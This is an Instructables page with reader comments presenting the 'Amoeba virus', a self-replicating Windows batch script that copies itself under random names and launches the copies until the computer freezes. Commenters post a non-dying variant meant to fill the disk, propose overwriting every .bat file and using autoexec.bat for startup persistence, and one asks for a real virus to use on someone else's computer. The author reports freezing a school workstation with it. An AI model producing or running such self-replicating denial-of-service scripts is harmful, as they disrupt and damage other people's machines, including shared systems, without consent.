Instructables

The Dreaded Amoeba Virus

If you're interested in coding or batch scripting, check out my latest Ible here.

I learned about protista in my Bio class. We got to hunt for live amoebas under a microscope. Not much use in life, but it gave me an idea on what to name my latest virus.

As some people have posted, a virus, by defintion, replicates. Well, I'm proud to say that the Amoeba viruses do just that!
 
Remove these adsRemove these ads by Signing Up

Step 1: The Decomposing Amoeba

I have found instructions for pranks that go as follows:

@echo off
:Top
start %0
goto Top

They start themselves over and over again, and the newly started program follows suit, until the computer freezes. The Amoebas do this, but they leave behind many, many more Amoebas than existed at the start.

This little virus runs, creates a random name, and then copies itself, just like binary fission. Sort of.
The process repeats, with the program starting each new virus, which then reproduces. One becomes three, which become nine, etc. After copying itself three times, each program deletes itself, effectively dying and decomposing.

The Batch script is as follows:

@echo off
color 02
title Amoeba
set/a life=3
:Top
if %life%==0 (
del %0
)
set name=
:Loop
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
if %namenumber%==0 set name=A%name%
if %namenumber%==1 set name=B%name%
if %namenumber%==2 set name=D%name%
if %namenumber%==3 set name=D%name%
if %namenumber%==4 set name=E%name%
if %namenumber%==5 set name=F%name%
if %namenumber%==6 set name=G%name%
if %namenumber%==7 set name=H%name%
if %namenumber%==8 set name=I%name%
if %namenumber%==9 set name=J%name%
if %namenumber%==10 set name=K%name%
if %namenumber%==11 set name=L%name%
if %namenumber%==12 set name=M%name%
if %namenumber%==13 set name=N%name%
if %namenumber%==14 set name=O%name%
if %namenumber%==15 set name=P%name%
if %namenumber%==16 set name=Q%name%
if %namenumber%==17 set name=R%name%
if %namenumber%==18 set name=S%name%
if %namenumber%==19 set name=T%name%
if %namenumber%==20 set name=U%name%
if %namenumber%==21 set name=V%name%
if %namenumber%==22 set name=W%name%
if %namenumber%==23 set name=X%name%
if %namenumber%==24 set name=Y%name%
if %namenumber%==25 set name=Z%name%
if EXIST %name%.bat goto Loop
copy %0 %name%.bat >nul
start /min %name%.bat
set/a life=%life% -1
goto Top

As with all Batch files, name this program "Amoeba.bat", and save as "All Program Files". Then run it and clean up the mess.
Why not just delete the contents of all already existing .bat files and replicate the files code into it. Then run all .bat files. It would completely ruin your computer.
cyrozap4 years ago
Wow. You said that you just learned about Amoebas in Biology class? An amoeba is a Eukaryotic cell, not a virus, which is technically not a cell. Get your terminology right. I suggest renaming your Instructable. Good job on the code, however! I've been looking to make a batch file that replicates for some time now, but I haven't been able to figure out how. How would I make this so that the "Amoebas" would not decompose, so that they would continue to reproduce until the computer runs out of disk space?
he called it a amoeba virus because it imitates an amoeba in its reproduction
Well I just skimmed over the instructable, but I'm thinking autoexec.bat (does that even still exist)
El Mano (author)  munchman4 years ago
I'm unfamiliar with autoexec.bat. In Nature, useful traits are kept and less-useful ones drop out. Would autoexec.bat be benificial? If so, how? (Ugh! I sound like my bio-teacher!)
autoexec.bat is an old Windows system file (pre NT), that executes on system startup. I suppose you could edit it to launch / become the virus if you still use anything pre NT...
cyrozap cyrozap4 years ago
Oh, wait I figured it out.

@echo off
color 02
title Amoeba
:Top
set name=
:Loop
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
if %namenumber%==0 set name=A%name%
if %namenumber%==1 set name=B%name%
if %namenumber%==2 set name=D%name%
if %namenumber%==3 set name=D%name%
if %namenumber%==4 set name=E%name%
if %namenumber%==5 set name=F%name%
if %namenumber%==6 set name=G%name%
if %namenumber%==7 set name=H%name%
if %namenumber%==8 set name=I%name%
if %namenumber%==9 set name=J%name%
if %namenumber%==10 set name=K%name%
if %namenumber%==11 set name=L%name%
if %namenumber%==12 set name=M%name%
if %namenumber%==13 set name=N%name%
if %namenumber%==14 set name=O%name%
if %namenumber%==15 set name=P%name%
if %namenumber%==16 set name=Q%name%
if %namenumber%==17 set name=R%name%
if %namenumber%==18 set name=S%name%
if %namenumber%==19 set name=T%name%
if %namenumber%==20 set name=U%name%
if %namenumber%==21 set name=V%name%
if %namenumber%==22 set name=W%name%
if %namenumber%==23 set name=X%name%
if %namenumber%==24 set name=Y%name%
if %namenumber%==25 set name=Z%name%
if EXIST %name%.bat goto Loop
copy %0 %name%.bat >nul
start /min %name%.bat
goto Top
El Mano (author)  cyrozap4 years ago
iMuy bien! That was the original script. I like the idea better when the virus fossilizes or dies because it takes longer to freeze the computer. Once the first Amoeba replicates and starts three new ones, the user will have one hard time stopping the biobomb, so the virus may as well take its time. I didn't like @echo off :Top start %0 goto Top because A) it doesn't leave behind a "puddle" of other files, and B) because it swamps the computer to quickly. This virus is a Pain-In-The-Neck, not a computer-killer. As for the virus, "Amoeba" is the name. By definition it's a virus, but the reproduction reminded me of a single-cell organism. It was originally going to be the "Bacteria Virus". Lame.
IDEA!!!

@echo off
color 02
title Amoeba
:Top
set name=
:Loop
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
set/a namenumber=%RANDOM% / (32767 / 25)
if %namenumber%==0 set name=A%name%
if %namenumber%==1 set name=B%name%
if %namenumber%==2 set name=D%name%
if %namenumber%==3 set name=D%name%
if %namenumber%==4 set name=E%name%
if %namenumber%==5 set name=F%name%
if %namenumber%==6 set name=G%name%
if %namenumber%==7 set name=H%name%
if %namenumber%==8 set name=I%name%
if %namenumber%==9 set name=J%name%
if %namenumber%==10 set name=K%name%
if %namenumber%==11 set name=L%name%
if %namenumber%==12 set name=M%name%
if %namenumber%==13 set name=N%name%
if %namenumber%==14 set name=O%name%
if %namenumber%==15 set name=P%name%
if %namenumber%==16 set name=Q%name%
if %namenumber%==17 set name=R%name%
if %namenumber%==18 set name=S%name%
if %namenumber%==19 set name=T%name%
if %namenumber%==20 set name=U%name%
if %namenumber%==21 set name=V%name%
if %namenumber%==22 set name=W%name%
if %namenumber%==23 set name=X%name%
if %namenumber%==24 set name=Y%name%
if %namenumber%==25 set name=Z%name%
if EXIST %name%.bat goto Loop
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
copy %0 %name%.bat >nul
start /min %name%.bat
goto Top

EVIL!~!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
El Mano (author)  BatchMan4 years ago
I don't think it will work. The computer will only allow one file per directory with any given name. if you replaced copy %0 %name%.bat >nul copy %0 %name%.bat >nul with copy %0 %namea%.bat >nul & start /min %namea%.bat copy %0 %nameb%.bat >nul & start /min %nameb%.bat it would work.
El Mano (author)  El Mano4 years ago
Correction: replace with copy %0 %name%a.bat etc. copy %0 %name%b.bat etc.
Tdotcom El Mano4 years ago
So would you need one of these lines for each letter A-Z?
He did not say an amoeba is a virus, he is saying this code is a virus which is named after amoebas - thus the code is the amoeba virus. It is named after amoebas because it is patterned after the reproduction / life cycle of an amoeba (or more appropriately, an amoeba colony I would think), which is what he had learned about. It could help you greatly if you actually read instructables instead of scanning them ;)
Maybe you shouldn't skim my comment ;). I DID Have positive things to say. Actually, I did read the Instructable. I understand that it is named for the life cycle, but the title is just awkward for me, it makes it look like It is an Amoeba-Virus, which is illogical if taken out of context, and may confuse some people.
really cool
so does this virus mess the computer up
El Mano (author)  billycoffman204 years ago
My work here is a little out-of-date. I tried it on a school computer and the workstation froze in about thirty seconds. It also leaves a bunch of randomly-named batch files or fossils, which are a real pain to clean out of a folder like "WINDOWS" or the guts of some program with a lot of files.
megax1254 years ago
can someone send me a real computer virus that i can put on someone elses computer because they hacked into my school account and deleted everything and i want to get them back. i would appriciate this and i would thank you all for helping me out.=)
email flame3stag@yahoo.com
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!